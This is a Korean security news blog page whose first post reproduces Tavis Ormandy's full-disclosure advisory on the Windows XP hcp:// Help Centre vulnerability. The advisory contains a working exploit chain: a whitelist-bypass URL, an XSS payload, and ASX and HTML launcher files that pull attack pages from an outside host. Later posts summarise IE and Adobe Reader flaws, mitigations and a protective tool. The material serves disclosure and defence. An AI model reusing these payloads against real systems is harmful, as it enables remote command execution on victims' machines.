지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

아래 글상자는 공개한 공격 코드입니다.

Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
----------------------------------------------------------------------------

Help and Support Centre is the default application provided to access online
documentation for Microsoft Windows. Microsoft supports accessing help documents
directly via URLs by installing a protocol handler for the scheme "hcp", 
a typical example is provided in the Windows XP Command Line Reference,
available at http://technet.microsoft.com/en-us/library/bb490918.aspx.

Using hcp:// URLs is intended to be safe, as when invoked via the registered
protocol handler the command line parameter /fromhcp is passed to the help
centre application. This flag switches the help centre into a restricted mode,
which will only permit a whitelisted set of help documents and parameters.

This design, introduced in SP2, is reasonably sound. A whitelist of trusted
documents is a safe way of allowing interaction with the documentation from
less-trusted sources. Unfortunately, an implementation error in the whitelist
allows it to be evaded.

URLs are normalised and unescaped prior to validation using
MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
escape sequences into their original characters, the relevant code from
helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.

.text:0106684C Unescape:
.text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
.text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
.text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
.text:01066853        call    ds:wcslen            ; find the remaining length.
.text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
xdigits.
.text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
.text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
.text:01066861        mov     dl, cl
.text:01066863        neg     dl
.text:01066865        sbb     edx, edx
.text:01066867        and     edx, 3
.text:0106686A        inc     edx
.text:0106686B        inc     edx
.text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
.text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
.text:01066870        test    cl, cl
.text:01066872        movzx   eax, word ptr [esi+2]
.text:01066876        push    eax
.text:01066877        jz      short NotUnicode
.text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
.text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
sequence.
.text:01066880        movzx   eax, word ptr [esi+4]
.text:01066884        push    eax
.text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
total <<= 4;
.text:01066888        call    HexToNum             
.text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
.text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
.text:01066893        push    eax
.text:01066894        shl     edi, 4
.text:01066897        call    HexToNum
.text:0106689C        or      edi, eax
.text:0106689E        movzx   eax, word ptr [esi+8]
.text:010668A2        push    eax
.text:010668A3        shl     edi, 4
.text:010668A6        call    HexToNum
.text:010668AB        or      edi, eax
.text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
.text:010668B0        jmp     short FinishedEscape
.text:010668B2
.text:010668B2 NotUnicode:                             
.text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
instead of %u0041)
.text:010668B7        mov     edi, eax
.text:010668B9        movzx   eax, word ptr [esi]
.text:010668BC        push    eax
.text:010668BD        call    HexToNum
.text:010668C2        shl     eax, 4
.text:010668C5        or      edi, eax
.text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
.text:010668CA
.text:010668CA FinishedEscape:
.text:010668CA        test    di, di
.text:010668CD        jz      short loc_10668DA
.text:010668CF
.text:010668CF LiteralChar:
.text:010668CF        push    edi                  ; append the final value to the normalised string using a 
std::string append.
.text:010668D0        mov     ecx, [ebp+unescaped]
.text:010668D3        push    1
.text:010668D5        call    std::string::append
.text:010668DA        mov     di, [esi]            ; fetch the next input character.
.text:010668DD        test    di, di               ; have we reached the NUL terminator?
.text:010668E0        jnz     Unescape             ; process next char.

This code seems sane, but an error exists due to how MPC::HexToNum() handles
error conditions, the relevant section of code is annotated below.

.text:0102D32A        mov     edi, edi
.text:0102D32C        push    ebp
.text:0102D32D        mov     ebp, esp              ; function prologue.
.text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
.text:0102D332        cmp     eax, '0'
.text:0102D335        jl      short CheckUppercase  ; is it a digit?
.text:0102D337        cmp     eax, '9'
.text:0102D33A        jg      short CheckUppercase
.text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
.text:0102D33F        jmp     short Complete   
.text:0102D341 CheckUppercase:
.text:0102D341        cmp     eax, 'A'
.text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
.text:0102D346        cmp     eax, 'F'
.text:0102D349        jg      short CheckLowercase
.text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
.text:0102D34E        jmp     short Complete   
.text:0102D350 CheckLowercase:
.text:0102D350        cmp     eax, 'a'
.text:0102D353        jl      short Invalid         ; lowercase xdigit?
.text:0102D355        cmp     eax, 'f'
.text:0102D358        jg      short Invalid    
.text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
.text:0102D35D        jmp     short Complete    
.text:0102D35F Invalid:     
.text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
.text:0102D362 Complete:   
.text:0102D362        pop     ebp
.text:0102D363        retn    4

Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
MPC::HexToNum() as required, and therefore can be manipulated into appending
unexpected garbage onto std::strings. This error may appear benign, but we can
use the miscalculations produced later in the code to evade the /fromhcp
whitelist.

Assuming that we can access arbitrary help documents (full details of how the
MPC:: error can be used to accomplish this will be explained below), we must
identify a document that can be controlled purely from the URL used to access it.

After browsing the documents available in a typical installation, the author
concluded the only way to do this would be a cross site scripting error. After
some careful searching, a candidate was discovered:

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>

This document is available in a default installation, and due to insufficient
escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters
such as '=' or '"' or others are specified. 

It's not immediately obvious that this error is still exploitable, simple
tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
isn't helpful as the code isn't evaluated again. In situations like this, the
best course of action is to harass lcamtuf until he gives you the solution,
which of course his encyclopaedic knowledge of browser security quirks produced
immediately.

<script defer>code</script>

The defer property is an IE-ism which solves the problem, documented by
Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
Now that we are armed with knowledge of this trick, because these help
documents are in a privileged zone, we can simply execute commands.

You can test this with a command like so (assuming a recent IE):

C:\> ver
Microsoft Windows XP [Version 5.1.2600]
C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
C:\>

While this is fun, this isn't a vulnerability unless an untrusted third party
can force you to access it. Testing suggests that by default, accessing an
hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
other browsers) will result in a prompt. Although most users will click through
this prompt (perfectly reasonable, protocol handlers are intended to be safe),
it's not a particularly exciting attack.

I've found a way to avoid the prompt in a default Windows XP installation in all
major browsers, The solution is to invoke the protocol handler from within an
<iframe> in an ASX HtmlView element. There are probably other ways.

http://en.wikipedia.org/wiki/Advanced_Stream_Redirector

The version of Windows Media Player that is available by default in Windows XP
is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
content. Later versions also can be used, with some minor complications.

Thus, the attack will look like this:

$ cat simple.asx 
<ASX VERSION="3.0">
<PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
<ENTRY>
   <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
</ENTRY>
</ASX>

Where starthelp.html contains something like:

$ cat starthelp.html 
<iframe src="hcp://...">

Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:

$ cat launchurl.html 
<html>
<head><title>Testing HCP</title></head>
<body>
  <h1>OK</h1>
  <script>
        // HCP:// Vulnerability, Tavis Ormandy, June 2010.
        var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            // Internet Explorer
            var o = document.createElement("OBJECT");
            o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
            o.openPlayer(asx);
        } else {
            // Mozilla, Chrome, Etc.
            var o = document.createElement("IFRAME");
            o.setAttribute("src", asx);
            document.body.appendChild(o);
        }
  </script>
</body>
</html>

Therefore, we have the following interactions between multiple complex systems
chained together:

- From an html page, email, document, or other application force a user to
  fetch a .ASX file containing an HtmlView element.
- From the HtmlView element, invoke the hcp protocol handler that would normally
  require confirmation.
- From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
  string miscalculations caused by failing to check the return code of
  MPC::HexToNum().
- Once the whitelist has been defeated, invoke the Help document with a known
  DOM XSS due to GetServerName() insufficient escaping.
- Use the defer property of a script tag to execute script in a privileged zone
  even after the page has been rendered.
- Invoke an arbitrary command using the wscript.shell object.

Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
whitelist took some analysis, but the result looks like the following.

hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
3C/script%3E

--------------------
Affected Software
------------------------

At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
is enhanced against IE >= 8 and other major browsers if Windows Media Player is
available, but an installation is still vulnerable without it.

Machines running version of IE less than 8 are, as usual, in even more trouble.

In general, choice of browser, mail client or whatever is not relevant, they
are all equally vulnerable.

--------------------
Consequences
-----------------------

Upon successful exploitation, a remote attacker is able to execute arbitrary
commands with the privileges of the current user.

I've prepared a demonstration for a typical Windows XP installation with
Internet Explorer 8, and the default Windows Media Player 9.

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html

In IE7 on Windows XP, just visiting this URL should be sufficient:

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html

Some minor modifications will be required to target other configurations, this
is simply an attempt to demonstrate the problem. I'm sure the smart guys at
metasploit will work on designing reliable attacks, as security professionals
require these to do their jobs.

Additionally, my demonstration is not intended to be stealthy, a real
attack would barely be noticable to the victim. Perhaps the only unavoidable
signal would be the momentary appearance of the Help Centre window before the
attacker hides it. There are multiple trivial techniques that can be used to
accomplish this.

Browsers are useful to demonstrate the problem, but there are certainly other
attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
be used across applications.

-------------------
Mitigation
-----------------------

If you believe you may be affected, you should consider applying one of the
workarounds described below.

Few users rely on Help Centre urls, it is safe to temporarily disable them
by removing HKCR\HCP\shell\open. This modification can be deployed easily using
GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
here

http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx

A few caveats, 

    * I am aware that some support technicians rely on the Remote Assistance
      tool provided by the Help Center application using shortcuts like
      "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
      to use this technique by substituting "explorer.exe hcp://..." for
      "helpctr.exe /url hcp://...", without relying on the protocol handler.

    * One or two links in explorer, such as selecting "Help" from the Control
      Panel category view, may no longer function. If this concerns you, it is
      possible to gracefully degrade by replacing the protocol handler with a
      command to open a static intranet support page, e.g.
      "chrome.exe http://techsupport.intranet";.

    * As always, if you do not use this feature, consider permanently disabling
      it in order to reduce attack surface. Historically, disabling unused
      protocol handlers has always proven to be a wise investment in security. 

In the unlikely event that you heavily rely on the use of hcp://, I have
created an unofficial (temporary) hotfix. You may use it under the terms of
the GNU General Public License, version 2 or later. Of course, you should only
use it as a last resort, carefully test the patch and make sure you understand
what it does (full source code is included). It may be necessary to modify it
to fit your needs.

The package is availble for x86 here:

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip

[ NOTE: Please avoid linking to this file out of context, it is intended for
        consideration as a potential mitigation by experienced administrators,
        and is not suitable for consumption by end-users ]

The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
return zero on error, rather than -1. Nothing is changed on disk, and it can be
safely removed at anytime. Of course, the result of an invalid unescape is still
incorrect, but this specific vulnerability should be rendered inert. I would be
greatful if the community could contribute bugfixes, testing, an x64 port, and
so on. Once information is in the open, we can all collaborate on our
collective security.

Some clarifications,

    * Fixing the XSS is not a solution, the root cause is the whitelist
      evasion, any mitigation that does not address this is simply papering
      over the issue. An army of researchers that specialise in XSS exists, and
      i'm sure they will turn their attention to help documents once they
      realise their value. Assume more will be discovered.

    * That said, if you are an XSS expert, examples in whitelisted pages
      (/services/index, /services/search, etc.) would be useful, your skills
      could be helpful making this important software safe.

    * Removing Windows Media player is not a solution, it simply makes a fun
      demo for IE8 and other modern browsers.

Finally, you should take this opportunity to disable all browser plugins and
SFS ActiveX controls that are not regularly used. End users can do this
themselves in Google Chrome by viewing about:plugins and disabling the plugins
that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
interface.

-------------------
Solution
-----------------------

Microsoft was informed about this vulnerability on 5-Jun-2010, and they
confirmed receipt of my report on the same day.

Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
has been the target of attacks multiple times in the past. I've concluded that
there's a significant possibility that attackers have studied this component,
and releasing this information rapidly is in the best interest of security.

Those of you with large support contracts are encouraged to tell your support
representatives that you would like to see Microsoft invest in developing
processes for faster responses to external security reports.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
Hawkes, Jagger, and all my other pimp colleagues.

Special thanks to lcamtuf for his assistance with the deferred execution
problem. You should read his Browser Security Handbook if you need to
understand how web browser security /really/ works.

http://code.google.com/p/browsersec/wiki/Main

A colleague is organising a conference in Lucerne, Switzerland. He would really
appreciate interesting papers from security people who want to talk about
their research (travel, hotel, etc. covered).

https://www.hashdays.ch/

-------------------
Notes
-----------------------

I would like to point out that if I had reported the MPC::HexToNum() issue
without a working exploit, I would have been ignored.

Without access to extremely smart colleagues, I would likely have given up,
leaving you vulnerable to attack from those who just want root on your network
and do not care about disclosure policies.

This is another example of the problems with bug secrecy (or in PR speak,
"responsible disclosure"), those of us who work hard to keep networks safe are
forced to work in isolation without the open collaboration with our peers that
we need, especially in complex cases like this, where creative thinking and
input from experts in multiple disciplines is required to join the dots.

A good place to start researching full disclosure would be this accessible
and insightful essay by Bruce Schneier.

http://www.schneier.com/essay-146.html

His balanced coverage of the debate is also available in this essay.

http://www.schneier.com/crypto-gram-0111.html#1

Finally, a reminder that this documents contains my own opinions, I do
not speak for or represent anyone but myself.

-------------------
References
-----------------------

hcp:// has been broken a few times over the years, for example:

- http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
- http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.

The current design is actually pretty sound, I'm sure Microsoft are
dissapointed they missed this flaw. In their defense, I think there's a good
chance I would have also missed this in code review.

-- 
-------------------------------------
taviso () cmpxchg8b com | pgp encrypted mail preferred
-------------------------------------------------------


구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus

    댓글을 달아 주세요

    마이크로소프트는 자사가 제공하는 운영체제, 프로그램 등에 대한 보안 패치를 매달 정기적으로 제공하며, 3월 달 패치는 이미 10일 경에 발표되었습니다.

    하지만, IE 6,7 버전에 관련되어 심각한 취약점이 발견된 후에 MS는 이 문제를 보완하기 위한 긴급 보안 패치를 30일(미국기준)에 발표했습니다.

    MS981374 로 발표된 이 취약점 IE 8에서는 영향을 미치지 않는 것으로 확인되었습니다.


    MS10-018이라고 이름 지은 긴급 보안 패치에서는 CVE-2010-0806으로 알려진 취약점을 이용한 공격을 차단할 수 있으며 그 외 IE 취약점을 모두 모은 '누적 업데이트'의 성격을 지닙니다.


    아래 화면은 IE 6, 7, 8 버전에서 알려진 취약점을 간단한 표로 요약한 자료입니다.

    이제 MS10-018 누적 업데이트에 대한 정보를 간략히 정리합니다.

    1. 취약점의 영향: 공격자가 취약점이 있는 시스템을 장악할 수 있음.

    2. 세부 사항: 이번에 발표된 누적 업데이트는 윈도우 운영체제에서 동작하는 IE 5, 6, 7, 8에서 모두 사용할 수 있으며, 특히 IE 6 버전에서는 문제점이 심각한 편입니다.

    원인은 초기화되지 않거나 삭제된 메모리 내의 객체에서 인코딩되거나 긴 문자열을 적절하게 처리하지 못해 원격에서 코드를 실행할 수 있습니다

    3. 취약한 소프트웨어

    IE 5.01 과 IE 6 SP1
    - Windows 2000 SP4,

    IE 6
    - WIndows XP SP2/3
    - Windows XP x64 SP2
    - Windows Server 2003 SP2
    - Windows Server 2003 x64 SP2
    - Windows Server 2003 i64 SP2

    IE 7
    - Windows XP SP2/3
    - Windows XP Professionsl x64 SP2
    - Windows Server 2003 SP2
    - Windows Server 2003 x64 SP2
    - Windows Server 2003 i64 SP2
    - Windows Vista/SP1/SP2
    - Windows Vista x64/x64 SP1/x64 SP2
    - Windows Server 2008 32bit/SP2
    - Windows Server 2008 x64/SP2
    - Windows Server 2008 i64/SP2

    IE 8
    - WIndows XP SP2/3
    - Windows XP Professional x64 SP2
    - Windows Server 2003 SP2
    - Windows Server 2003 x64 SP2
    - Windows Vista/SP1/SP2
    - Windows Vista x64/SP1/SP2
    - Windows Server 2008 32bit/SP2
    - Windows Server 2008 x64/SP2
    - Windows 7 32bit
    - Windows 7 x64 32bit
    - Windows Server 2008 R2 x64
    - Windows Server 2008 R2 i64

    (주: Windows Server 2008 Core 버전에서는 취약점이 발견되지 않습니다)

    정리해 보면, 거의 대부분의 운영체제에서 문제가 발생한다고 볼 수 있으며, 빠른 시간내에 업데이트하는 것을 추천합니다.


    감사합니다.






    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus

      댓글을 달아 주세요

      2009년 2월 19일, 전세계적으로 전자 문서의 표준으로 널리 사용되는 PDF 형식의 프로그램인 아크로뱃(PDF 생성 프로그램)과 아크로뱃 리더(읽기 전용 프로그램)에서 제로데이(0-Day) 취약점이 발표되었습니다.

      취약점은 아크로뱃/리더의 전 제품에 걸쳐 나타나고 있으며 자세한 제품은 아래와 같습니다.
      • 아크로뱃 7 프로페셔널
      • 아크로뱃 7.x
      • 아크로뱃 8 프로페셔널
      • 아크로뱃 8.x
      • 아크로뱃 9.x
      • 아크로뱃 리더 7.x
      • 아크로뱃 리더 8.x
      • 아크로뱃 리더 9.x
      이 취약점은 아주 치명적인(Extremely Critical) 것으로 분류되어 있으며, 아크로뱃/리더를 설치하여 운영할 수 있는 모든 운영체제에서 발생합니다. 

      취약점은 교묘하게 조작한 PDF 문서를 사용자가 열어 봄으로써 발생합니다. 조작된 PDF 문서에는 크래커가 삽입한 객체를 파싱하는 과정에서 메모리에 쓰여진 데이터를 의도적으로 조작한 코드로 덮어쓰기 하는 즉, 버퍼 오버플로 오류를 통해 이루어집니다.

      취약점은 heapspray라고 하는 자바 스크립트 메소드를 사용하여 진행됩니다.


      위의 그림에서 EAX 레지스터에 트로이 목마를 설치하는 악성 쉘 코드를 실행하는 메모리 주소를 가리키도록 조작합니다. 성공적으로 공격이 이루어지는 과정에서 원격 제어 및 감염된 시스템을 모니터링하기 위한 백도어가 설치됩니다.
       
      현재 이 취약점을 해결할 수 있는 패치나 대안이 없는 상태입니다. 또한 이 취약점을 이용하는 공격 코드가 인터넷 상에 출현한 상태입니다. 백도어의 특징 및 진단에 세부 사항은 아래 링크를 참고하십시오.

      http://vil.nai.com/vil/content/v_153842.htm

      더욱 우려되는 상황은 이 악성 코드의 출현으로 인해 새로운 다수의 변종이 출현할 수 있는 가능성이 존재합니다.

      따라서, 사용자는 컴퓨터에 설치된 안티 바이러스 제품의 업데이트를 반드시 확인하여 최신으로 유지해야 하며, 출처가 불분명한 PDF 문서는 열어 보아서는 안됩니다.

      출처:

      아도브 사는 3월 11일 경에 이 취약점에 대한 패치를 제공할 예정이라고 합니다.




       



      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus

        댓글을 달아 주세요

        취약점이 발견되고 난 뒤 곧바로 이 취약점을 이용하는 공격코드가 출현하는 경우가 늘고 있습니다. 최근의 IE 버그를 볼 때 이러한 취약점은 개발사가 패치하기 전까지는 해결방법의 거의 전무한 상태입니다.

         안티바이러스 전문 기업인 F-SECURE에서는 이러한 제로데이 공격을 차단할 수 있는 익스플로잇 쉴드(Exploit Shield)를 출시하였습니다. 현재 베타버전으로 빌드는 0.5.2088 입니다.

         익스플로잇 쉴드는 웹 기반의 익스플로잇 공격과 이 공격으로 인해 감염되는 악성 프로그램을 차단합니다. 또한, 진단한 악성 프로그램이나 악성 프로그램을 담고 있는 URL은 자동적으로 F-SECURE 보안팀으로 전송되어 새로운 익스플로잇 코드 등을 분석하는데 도움을 줄 수 있습니다.

         익스플로잇 쉴드는 윈도우 XP(SP0부터 SP3)에서만 동작합니다. 또한, 인터넷 익스플로러, 모질라 파이어폭스를 지원합니다.

         익스플로잇 쉴드의 특징을 살펴보면 다음과 같습니다.

        * 제로데이 보호: 소프트웨어 벤더로부터 패치 버전을 제공받지 않은 클라이언트 PC 보호

        * 패치에 근접한 보호: 한번 업데이트만으로 모든 익스플로잇을 예방

        * 사전 방어: 휴리스틱 분석 기술을 통해 알려지지 않은 새로운 취약점으로부터 익스플로잇을 예방

        * 악성 웹사이트와 해킹당한 일방 사이트로부터 보호

        * 악성 URL을 자동으로 F-SECURE로 전송

         프로그램은 아래 링크에서 다운로드받을 수 있으며, 설치 과정은 아주 평이합니다.

        http://support.f-secure.com/beta/downloads/F-Secure%20ExploitShield%200.5%20build%2088.exe

         프로그램을 실행하면 아래와 같이 간단한 구조를 볼 수 있습니다.

         사용자가 설정할 부분은 Exploit Shield - Vulnerability Shields 부분입니다. 대부분 취약점을 막아야 하므로 실제 사용자가 설정할 부분은 거의 없습니다.

         단, 네트워크 환경에서 프록시를 사용하는 경우에는 아래와 같이 Automatic Updates - Connection 탭에서 프록시 정보를 입력해야 합니다.

         단점은 한글판 윈도우에서는 오른쪽 부분이 약간 잘려서 보인다는 점입니다. 아래 화면에서 자동 업데이트를 Check 하는 부분이 잘려 보입니다.

         참고로, 메모리에서 차지하는 용량은 약 12MB 정도로 작습니다.

         감사합니다.

        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus

          댓글을 달아 주세요

          취약점 권고 사이트로 유명한 시큐니아(http://www.secunia.com)에 어제 새로운 매우 중요한 취약점이 발표되어 간단히 정리해 올립니다.

           위험도: 매우 치명적(Extremely critical)

          영향: 원격에서 시스템을 액세스할 수 있음

          해결방안: 아직 없음

          문제가 발생한 소프트웨어: Internet Explorer 7

           설명: 인터넷 익스플로러에서 취약점이 발견되었습니다. 이 취약점을 통해 악의를 가진 사용자가 원격에서 시스템을 침해할 수 있습니다.

           취약점은 XML 태그를 처리할 때 발생하는 오류에 기인합니다. 이는 특수하게 조작된 HTML 문서를 통해 할당이 해제된 메모리를 참조할 수 없게 하는 방식으로 발생합니다.

          성공적으로 공격을 시도한 이후에는 의도한 코드를 실행할 수 있어 매우 위험합니다.

           알림: 취약점이 발견되고 이에 관련된 익스플로잇 코드가 인터넷에 출현한 상태입니다.

           이 취약점은 윈도우 XP SP3에 설치된 IE7에서 확인되었으며, 다른 운영체제에서도 마찬가지일 것으로 예상됩니다.

           대안: 신뢰할 수 없는 사이트는 가급적 방문하지 않아야 합니다.

           참고자료: KnownSec - http://www.scanw.com/blog/archives/303

           참고자료에 따르면 11월 달에 이 취약점이 발견되었으며 12월 9일에 이르러서야 본격적으로 익스플로잇 코드가 유통되기 시작했습니다.

          이를 방어하기 위해서는 DEP 보호를 해야 합니다

          (시스템 -> 고급 -> 성능(설정) -> 데이터 실행 방지(DEP) 탭에서 사용하도록 설정합니다.

          또한, 현재 공격을 주도하는 사이트로는 wwwwyyyy.cn과 sllwrnm5.cn입니다.

          따라서, HOSTS. 파일에 다음의 내용을 추가하여 사용자 피시가 은연 중에 공격 사이트에 접속하지 않도록 방지합니다.

          127.0.0.1 wwwwyyyy.cn

          127.0.0.1 sllwrnm5.cn

           감사합니다.

          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus

            댓글을 달아 주세요

            1. 물여우 2008.12.11 18:16  댓글주소  수정/삭제  댓글쓰기

              정보감사합니다. MS의 취약점 패치가 없어도 DEP 사용으로 해당 취약점 공격에 방어가 가능한건가요?

            2. Favicon of https://fightingpeople.tistory.com BlogIcon 힘내자 2008.12.15 18:06 신고  댓글주소  수정/삭제  댓글쓰기

              모든 IE 버전에 취약점이 발견되었다고 하더군요. 마소에서도 빨리 해결방법을 찾아서 보안 패치를 내야할텐데 말이죠^^;



            Web Analytics Blogs Directory